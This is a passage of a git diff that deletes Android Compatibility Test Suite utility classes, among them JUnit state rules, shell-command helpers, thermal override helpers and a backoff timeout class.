- final int y = (int) (xy[1] + (viewHeight / 2.0f));
-
- runShellCommand("input touchscreen tap %d %d", x, y);
- }
-
-
- private ShellUtils() {
- throw new UnsupportedOperationException("contain static methods only");
- }
-
- /**
- * Simulates input of key event.
- *
- * @param keyCode key event to fire.
- */
- public static void sendKeyEvent(String keyCode) {
- runShellCommand("input keyevent " + keyCode);
- }
-
- /**
- * Allows an app to draw overlaid windows.
- */
- public static void setOverlayPermissions(@NonNull String packageName, boolean allowed) {
- final String action = allowed ? "allow" : "ignore";
- runShellCommand("appops set %s SYSTEM_ALERT_WINDOW %s", packageName, action);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/StateChangerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/StateChangerRule.java
deleted file mode 100644
index 4e59f13..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/StateChangerRule.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import com.google.common.base.Preconditions;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.Objects;
-
-/**
- * JUnit rule used to prepare a state before the test is run.
- *
- * <p>It stores the current state before the test, changes it (if necessary), then restores it after
- * the test (if necessary).
- *
- * @param <T> value type
- */
-public class StateChangerRule<T> implements TestRule {
-
- private final StateManager<T> mStateManager;
- private final T mValue;
-
- /**
- * Default constructor.
- *
- * @param stateManager abstraction used to mange the state.
- * @param value value to be set before the test is run.
- */
- public StateChangerRule(@NonNull StateManager<T> stateManager, @Nullable T value) {
- mStateManager = Preconditions.checkNotNull(stateManager);
- mValue = value;
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- final T previousValue = mStateManager.get();
- if (!Objects.equals(previousValue, mValue)) {
- mStateManager.set(mValue);
- }
- try {
- base.evaluate();
- } finally {
- final T currentValue = mStateManager.get();
- if (!Objects.equals(currentValue, previousValue)) {
- mStateManager.set(previousValue);
- // TODO: if set() thowns a RuntimeException, JUnit will silently catch it
- // and re-run the test case; it should fail instead.
- }
- }
- }
- };
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/StateKeeperRule.java b/common/device-side/util/src/com/android/compatibility/common/util/StateKeeperRule.java
deleted file mode 100644
index ecc02a2..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/StateKeeperRule.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-
-import com.google.common.base.Preconditions;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.Objects;
-
-/**
- * JUnit rule used to restore a state after the test is run.
- *
- * <p>It stores the current state before the test, and restores it after the test (if necessary).
- *
- * @param <T> value type
- */
-public class StateKeeperRule<T> implements TestRule {
-
- private final StateManager<T> mStateManager;
-
- /**
- * Default constructor.
- *
- * @param stateManager abstraction used to mange the state.
- */
- public StateKeeperRule(@NonNull StateManager<T> stateManager) {
- mStateManager = Preconditions.checkNotNull(stateManager);
- }
-
- /**
- * Hook for subclasses.
- */
- protected void preEvaluate(@SuppressWarnings("unused") Description description) {
- }
-
- /**
- * Hook for subclasses.
- */
- protected void postEvaluate(@SuppressWarnings("unused") Description description) {
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- final T previousValue = mStateManager.get();
- preEvaluate(description);
- try {
- base.evaluate();
- } finally {
- final T currentValue = mStateManager.get();
- if (!Objects.equals(previousValue, currentValue)) {
- mStateManager.set(previousValue);
- }
- }
- postEvaluate(description);
- }
- };
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/StateManager.java b/common/device-side/util/src/com/android/compatibility/common/util/StateManager.java
deleted file mode 100644
index 2077e08..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/StateManager.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import androidx.annotation.Nullable;
-
-/**
- * Abstraction for a state that is managed somewhere, like Android Settings.
- *
- * @param <T> value type
- */
-public interface StateManager<T> {
-
- /**
- * Sets a new state.
- */
- void set(@Nullable T value);
-
- /**
- * Gets the current state.
- */
- @Nullable T get();
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java
deleted file mode 100644
index fa7f046..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java
+++ /dev/null
@@ -1,206 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.ActivityManager;
-import android.app.ActivityManager.MemoryInfo;
-import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.content.Context;
-import android.os.ParcelFileDescriptor;
-import android.os.StatFs;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.concurrent.Callable;
-import java.util.function.Predicate;
-
-public class SystemUtil {
- private static final String TAG = "CtsSystemUtil";
-
- public static long getFreeDiskSize(Context context) {
- final StatFs statFs = new StatFs(context.getFilesDir().getAbsolutePath());
- return (long)statFs.getAvailableBlocks() * statFs.getBlockSize();
- }
-
- public static long getFreeMemory(Context context) {
- final MemoryInfo info = new MemoryInfo();
- ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
- return info.availMem;
- }
-
- public static long getTotalMemory(Context context) {
- final MemoryInfo info = new MemoryInfo();
- ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
- return info.totalMem;
- }
-
- /**
- * Executes a shell command using shell user identity, and return the standard output in string
- * <p>Note: calling this function requires API level 21 or above
- * @param instrumentation {@link Instrumentation} instance, obtained from a test running in
- * instrumentation framework
- * @param cmd the command to run
- * @return the standard output of the command
- * @throws Exception
- */
- public static String runShellCommand(Instrumentation instrumentation, String cmd)
- throws IOException {
- Log.v(TAG, "Running command: " + cmd);
- if (cmd.startsWith("pm grant ") || cmd.startsWith("pm revoke ")) {
- throw new UnsupportedOperationException("Use UiAutomation.grantRuntimePermission() "
- + "or revokeRuntimePermission() directly, which are more robust.");
- }
- ParcelFileDescriptor pfd = instrumentation.getUiAutomation().executeShellCommand(cmd);
- byte[] buf = new byte[512];
- int bytesRead;
- FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
- StringBuffer stdout = new StringBuffer();
- while ((bytesRead = fis.read(buf)) != -1) {
- stdout.append(new String(buf, 0, bytesRead));
- }
- fis.close();
- return stdout.toString();
- }
-
- /**
- * Simpler version of {@link #runShellCommand(Instrumentation, String)}.
- */
- public static String runShellCommand(String cmd) {
- try {
- return runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
- } catch (IOException e) {
- fail("Failed reading command output: " + e);
- return "";
- }
- }
-
- /**
- * Same as {@link #runShellCommand(String)}, with optionally
- * check the result using {@code resultChecker}.
- */
- public static String runShellCommand(String cmd, Predicate<String> resultChecker) {
- final String result = runShellCommand(cmd);
- if (resultChecker != null) {
- assertTrue("Assertion failed. Command was: " + cmd + "\n"
- + "Output was:\n" + result,
- resultChecker.test(result));
- }
- return result;
- }
-
- /**
- * Same as {@link #runShellCommand(String)}, but fails if the output is not empty.
- */
- public static String runShellCommandForNoOutput(String cmd) {
- final String result = runShellCommand(cmd);
- assertTrue("Command failed. Command was: " + cmd + "\n"
- + "Didn't expect any output, but the output was:\n" + result,
- result.length() == 0);
- return result;
- }
-
- /**
- * Runs a command and print the result on logcat.
- */
- public static void runCommandAndPrintOnLogcat(String logtag, String cmd) {
- Log.i(logtag, "Executing: " + cmd);
- final String output = runShellCommand(cmd);
- for (String line : output.split("\\n", -1)) {
- Log.i(logtag, line);
- }
- }
-
- /**
- * Runs a command and return the section matching the patterns.
- *
- * @see TextUtils#extractSection
- */
- public static String runCommandAndExtractSection(String cmd,
- String extractionStartRegex, boolean startInclusive,
- String extractionEndRegex, boolean endInclusive) {
- return TextUtils.extractSection(runShellCommand(cmd), extractionStartRegex, startInclusive,
- extractionEndRegex, endInclusive);
- }
-
- /**
- * Runs a {@link ThrowingRunnable} adopting Shell's permissions.
- */
- public static void runWithShellPermissionIdentity(@NonNull ThrowingRunnable runnable) {
- final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
- runWithShellPermissionIdentity(automan, runnable);
- }
-
- /**
- * Runs a {@link ThrowingRunnable} adopting a subset of Shell's permissions.
- */
- public static void runWithShellPermissionIdentity(@NonNull ThrowingRunnable runnable,
- String... permissions) {
- final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
- runWithShellPermissionIdentity(automan, runnable, permissions);
- }
-
- /**
- * Runs a {@link ThrowingRunnable} adopting Shell's permissions, where you can specify the
- * uiAutomation used.
- */
- public static void runWithShellPermissionIdentity(
- @NonNull UiAutomation automan, @NonNull ThrowingRunnable runnable) {
- runWithShellPermissionIdentity(automan, runnable, null /* permissions */);
- }
-
- /**
- * Runs a {@link ThrowingRunnable} adopting Shell's permissions, where you can specify the
- * uiAutomation used.
- * @param automan UIAutomation to use.
- * @param runnable The code to run with Shell's identity.
- * @param permissions A subset of Shell's permissions. Passing {@code null} will use all
- * available permissions.
- */
- public static void runWithShellPermissionIdentity(@NonNull UiAutomation automan,
- @NonNull ThrowingRunnable runnable, String... permissions) {
- automan.adoptShellPermissionIdentity(permissions);
- try {
- runnable.run();
- } catch (Exception e) {
- throw new RuntimeException("Caught exception", e);
- } finally {
- automan.dropShellPermissionIdentity();
- }
- }
-
- /**
- * Calls a {@link Callable} adopting Shell's permissions.
- */
- public static <T> T callWithShellPermissionIdentity(@NonNull Callable<T> callable)
- throws Exception {
- final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
- automan.adoptShellPermissionIdentity();
- try {
- return callable.call();
- } finally {
- automan.dropShellPermissionIdentity();
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TestNameUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/TestNameUtils.java
deleted file mode 100644
index 2dbeaab..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/TestNameUtils.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * Generic helper used to set / get the the name of the test being run.
- *
- * <p>Typically used on {@code @Rule} classes.
- */
-public final class TestNameUtils {
-
- private static String sCurrentTestName;
- private static String sCurrentTestClass;
-
- /**
- * Gets the name of the test current running.
- */
- @NonNull
- public static String getCurrentTestName() {
- if (sCurrentTestName != null) return sCurrentTestName;
- if (sCurrentTestClass != null) return sCurrentTestClass;
- return "(Unknown test)";
- }
-
- /**
- * Sets the name of the test current running
- */
- public static void setCurrentTestName(@Nullable String name) {
- sCurrentTestName = name;
- }
-
- /**
- * Sets the name of the test class current running
- */
- public static void setCurrentTestClass(@Nullable String testClass) {
- sCurrentTestClass = testClass;
- }
-
- /**
- * Checks whether a test is running, based on whether {@link #setCurrentTestName(String)} was
- * called.
- */
- public static boolean isRunningTest() {
- return sCurrentTestName != null;
- }
-
- private TestNameUtils() {
- throw new UnsupportedOperationException("contain static methods only");
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java b/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java
deleted file mode 100644
index 894b9c8..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-/**
- * Thread class for executing a Runnable containing assertions in a separate thread.
- * Uncaught exceptions in the Runnable are rethrown in the context of the the thread
- * calling the <code>runTest()</code> method.
- */
-public final class TestThread extends Thread {
- private Throwable mThrowable;
- private Runnable mTarget;
-
- public TestThread(Runnable target) {
- mTarget = target;
- }
-
- @Override
- public final void run() {
- try {
- mTarget.run();
- } catch (Throwable t) {
- mThrowable = t;
- }
- }
-
- /**
- * Run the target Runnable object and wait until the test finish or throw
- * out Exception if test fail.
- *
- * @param runTime
- * @throws Throwable
- */
- public void runTest(long runTime) throws Throwable {
- start();
- joinAndCheck(runTime);
- }
-
- /**
- * Get the Throwable object which is thrown when test running
- * @return The Throwable object
- */
- public Throwable getThrowable() {
- return mThrowable;
- }
-
- /**
- * Set the Throwable object which is thrown when test running
- * @param t The Throwable object
- */
- public void setThrowable(Throwable t) {
- mThrowable = t;
- }
-
- /**
- * Wait for the test thread to complete and throw the stored exception if there is one.
- *
- * @param runTime The time to wait for the test thread to complete.
- * @throws Throwable
- */
- public void joinAndCheck(long runTime) throws Throwable {
- this.join(runTime);
- if (this.isAlive()) {
- this.interrupt();
- this.join(runTime);
- throw new Exception("Thread did not finish within allotted time.");
- }
- checkException();
- }
-
- /**
- * Check whether there is an exception when running Runnable object.
- * @throws Throwable
- */
- public void checkException() throws Throwable {
- if (mThrowable != null) {
- throw mThrowable;
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TestUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/TestUtils.java
deleted file mode 100644
index 3b82cb7..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/TestUtils.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.fail;
-
-import android.os.SystemClock;
-import android.util.Log;
-
-import java.util.function.BooleanSupplier;
-
-public class TestUtils {
- private static final String TAG = "CtsTestUtils";
-
- private TestUtils() {
- }
-
- public static final int DEFAULT_TIMEOUT_SECONDS = 30;
-
- /** Print an error log and fail. */
- public static void failWithLog(String message) {
- Log.e(TAG, message);
- fail(message);
- }
-
- @FunctionalInterface
- public interface BooleanSupplierWithThrow {
- boolean getAsBoolean() throws Exception;
- }
-
- @FunctionalInterface
- public interface RunnableWithThrow {
- void run() throws Exception;
- }
-
- /**
- * Wait until {@code predicate} is satisfied, or fail, with {@link #DEFAULT_TIMEOUT_SECONDS}.
- */
- public static void waitUntil(String message, BooleanSupplierWithThrow predicate)
- throws Exception {
- waitUntil(message, 0, predicate);
- }
-
- /**
- * Wait until {@code predicate} is satisfied, or fail, with a given timeout.
- */
- public static void waitUntil(
- String message, int timeoutSecond, BooleanSupplierWithThrow predicate)
- throws Exception {
- if (timeoutSecond <= 0) {
- timeoutSecond = DEFAULT_TIMEOUT_SECONDS;
- }
- int sleep = 125;
- final long timeout = SystemClock.uptimeMillis() + timeoutSecond * 1000;
- while (SystemClock.uptimeMillis() < timeout) {
- if (predicate.getAsBoolean()) {
- return; // okay
- }
- Thread.sleep(sleep);
- sleep *= 5;
- sleep = Math.min(2000, sleep);
- }
- failWithLog("Timeout: " + message);
- }
-
- /**
- * Run a Runnable {@code r}, and if it throws, also run {@code onFailure}.
- */
- public static void runWithFailureHook(RunnableWithThrow r, RunnableWithThrow onFailure)
- throws Exception {
- if (r == null) {
- throw new NullPointerException("r");
- }
- if (onFailure == null) {
- throw new NullPointerException("onFailure");
- }
- try {
- r.run();
- } catch (Throwable th) {
- Log.e(TAG, "Caught exception: " + th, th);
- onFailure.run();
- throw th;
- }
- }
-
- /**
- * Synchronized wait for a specified condition.
- *
- * @param notifyLock Lock that will be notified when the condition might have changed
- * @param condition The condition to check
- * @param timeoutMs The timeout in millis
- * @param conditionName The name to include in the assertion. If null, will be given a default.
- */
- public static void waitOn(Object notifyLock, BooleanSupplier condition,
- long timeoutMs, String conditionName) {
- if (conditionName == null) conditionName = "condition";
- if (condition.getAsBoolean()) return;
-
- synchronized (notifyLock) {
- try {
- long timeSlept = 0;
- while (!condition.getAsBoolean() && timeSlept < timeoutMs) {
- long sleepStart = SystemClock.uptimeMillis();
- notifyLock.wait(timeoutMs - timeSlept);
- timeSlept += SystemClock.uptimeMillis() - sleepStart;
- }
- if (!condition.getAsBoolean()) {
- throw new AssertionError("Timed out after " + timeSlept
- + "ms waiting for: " + conditionName);
- }
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- }
- }
-}
-
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TextUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/TextUtils.java
deleted file mode 100644
index cca2652..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/TextUtils.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import java.util.regex.Pattern;
-
-public class TextUtils {
- private TextUtils() {
- }
-
- /**
- * Return the first section in {@code source} between the line matches
- * {@code extractionStartRegex} and the line matches {@code extractionEndRegex}.
- */
- public static String extractSection(String source,
- String extractionStartRegex, boolean startInclusive,
- String extractionEndRegex, boolean endInclusive) {
-
- final Pattern start = Pattern.compile(extractionStartRegex);
- final Pattern end = Pattern.compile(extractionEndRegex);
-
- final StringBuilder sb = new StringBuilder();
- final String[] lines = source.split("\\n", -1);
-
- int i = 0;
- for (; i < lines.length; i++) {
- final String line = lines[i];
- if (start.matcher(line).matches()) {
- if (startInclusive) {
- sb.append(line);
- sb.append('\n');
- }
- i++;
- break;
- }
- }
-
- for (; i < lines.length; i++) {
- final String line = lines[i];
- if (end.matcher(line).matches()) {
- if (endInclusive) {
- sb.append(line);
- sb.append('\n');
- }
- break;
- }
- sb.append(line);
- sb.append('\n');
- }
- return sb.toString();
- }
-
- /**
- * Creates a string consisted of {@code size} chars {@code c}.
- */
- public static String repeat(char c, int size) {
- StringBuilder builder = new StringBuilder(size);
- for (int i = 1; i <= size; i++) {
- builder.append(c);
- }
- return builder.toString();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ThermalUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ThermalUtils.java
deleted file mode 100644
index a61ffc1..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ThermalUtils.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-/**
- * Device-side utility class for override/reset thermal status.
- */
-public final class ThermalUtils {
- private static final String TAG = "CtsThermalUtils";
-
- private ThermalUtils() {}
-
- /** Make the target device think it's not throttling. */
- public static void overrideThermalNotThrottling() throws Exception {
- overrideThermalStatus(0);
- }
-
- /**
- * Make the target device think it's in given throttling status.
- * @param status thermal status defined in android.os.Temperature
- */
- public static void overrideThermalStatus(int status) throws Exception {
- SystemUtil.runShellCommandForNoOutput("cmd thermalservice override-status " + status);
-
- Log.d(TAG, "override-status " + status);
- }
-
- /** Cancel the thermal override status on target device. */
- public static void resetThermalStatus() throws Exception {
- SystemUtil.runShellCommandForNoOutput("cmd thermalservice reset");
-
- Log.d(TAG, "reset");
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ThreadUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ThreadUtils.java
deleted file mode 100644
index 3948628..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ThreadUtils.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.SystemClock;
-
-public final class ThreadUtils {
- private ThreadUtils() {
- }
-
- public static void sleepUntilRealtime(long realtime) throws Exception {
- Thread.sleep(Math.max(0, realtime - SystemClock.elapsedRealtime()));
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ThrowingRunnable.java b/common/device-side/util/src/com/android/compatibility/common/util/ThrowingRunnable.java
deleted file mode 100644
index 0588cff..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ThrowingRunnable.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-/**
- * Similar to {@link Runnable} but has {@code throws Exception}.
- */
-public interface ThrowingRunnable {
- /**
- * Similar to {@link Runnable#run} but has {@code throws Exception}.
- */
- void run() throws Exception;
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Timeout.java b/common/device-side/util/src/com/android/compatibility/common/util/Timeout.java
deleted file mode 100644
index 9ac6323..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/Timeout.java
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.SystemClock;
-import android.text.TextUtils;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.VisibleForTesting;
-
-import java.util.concurrent.Callable;
-
-/**
- * A "smart" timeout that supports exponential backoff.
- */
-//TODO: move to common CTS Code
-public final class Timeout {
-
- private static final String TAG = "Timeout";
- private static final boolean VERBOSE = true;
-
- private final String mName;
- private long mCurrentValue;
- private final float mMultiplier;
- private final long mMaxValue;
-
- private final Sleeper mSleeper;
-
- private static final Sleeper DEFAULT_SLEEPER = (t) -> SystemClock.sleep(t);
-
- /**
- * Default constructor.
- *
- * @param name name to be used for logging purposes.
- * @param initialValue initial timeout value, in ms.
- * @param multiplier multiplier for {@link #increase()}.
- * @param maxValue max timeout value (in ms) set by {@link #increase()}.
- *
- * @throws IllegalArgumentException if {@code name} is {@code null} or empty,
- * {@code initialValue}, {@code multiplir} or {@code maxValue} are less than {@code 1},
- * or if {@code initialValue} is higher than {@code maxValue}
- */
- public Timeout(String name, long initialValue, float multiplier, long maxValue) {
- this(DEFAULT_SLEEPER, name, initialValue, multiplier, maxValue);
- }
-
- @VisibleForTesting
- Timeout(@NonNull Sleeper sleeper, String name, long initialValue, float multiplier,
- long maxValue) {
- if (initialValue < 1 || maxValue < 1 || initialValue > maxValue) {
- throw new IllegalArgumentException(
- "invalid initial and/or max values: " + initialValue + " and " + maxValue);
- }
- if (multiplier <= 1) {
- throw new IllegalArgumentException("multiplier must be higher than 1: " + multiplier);
- }
- if (TextUtils.isEmpty(name)) {
- throw new IllegalArgumentException("no name");
- }
- mSleeper = sleeper;
- mName = name;
- mCurrentValue = initialValue;
- mMultiplier = multiplier;
- mMaxValue = maxValue;
- Log.d(TAG, "Constructor: " + this + " at " + TestNameUtils.getCurrentTestName());
- }
-
- /**
- * Gets the current timeout, in ms.
- */
- public long ms() {
- return mCurrentValue;
- }
-
- /**
- * Gets the max timeout, in ms.
- */
- public long getMaxValue() {
- return mMaxValue;
- }
-
- /**
- * @return the mMultiplier
- */
- public float getMultiplier() {
- return mMultiplier;
- }
-
- /**
- * Gets the user-friendly name of this timeout.
- */
- @NonNull
- public String getName() {
- return mName;
- }
-
- /**
- * Increases the current value by the {@link #getMultiplier()}, up to {@link #getMaxValue()}.
- *
- * @return previous current value.
- */
- public long increase() {
- final long oldValue = mCurrentValue;
- mCurrentValue = Math.min(mMaxValue, (long) (mCurrentValue * mMultiplier));
- if (oldValue != mCurrentValue) {
- Log.w(TAG, mName + " increased from " + oldValue + "ms to " + mCurrentValue + "ms at "
- + TestNameUtils.getCurrentTestName());
- }
- return oldValue;
- }
-
- /**
- * Runs a {@code job} many times before giving up, sleeping between failed attempts up to
- * {@link #ms()}.
- *
- * @param description description of the job for logging purposes.
- * @param job job to be run, must return {@code null} if it failed and should be retried.
- * @throws RetryableException if all attempts failed.
- * @throws IllegalArgumentException if {@code description} is {@code null} or empty, if
- * {@code job} is {@code null}, or if {@code maxAttempts} is less than 1.
- * @throws Exception any other exception thrown by helper methods.
- *
- * @return job's result.
- */
- public <T> T run(String description, Callable<T> job) throws Exception {
- return run(description, 100, job);
- }
-
- /**
- * Runs a {@code job} many times before giving up, sleeping between failed attempts up to
- * {@link #ms()}.
- *
- * @param description description of the job for logging purposes.
- * @param job job to be run, must return {@code null} if it failed and should be retried.
- * @param retryMs how long to sleep between failures.
- * @throws RetryableException if all attempts failed.
- * @throws IllegalArgumentException if {@code description} is {@code null} or empty, if
- * {@code job} is {@code null}, or if {@code maxAttempts} is less than 1.
- * @throws Exception any other exception thrown by helper methods.
- *
- * @return job's result.
- */
- public <T> T run(String description, long retryMs, Callable<T> job) throws Exception {
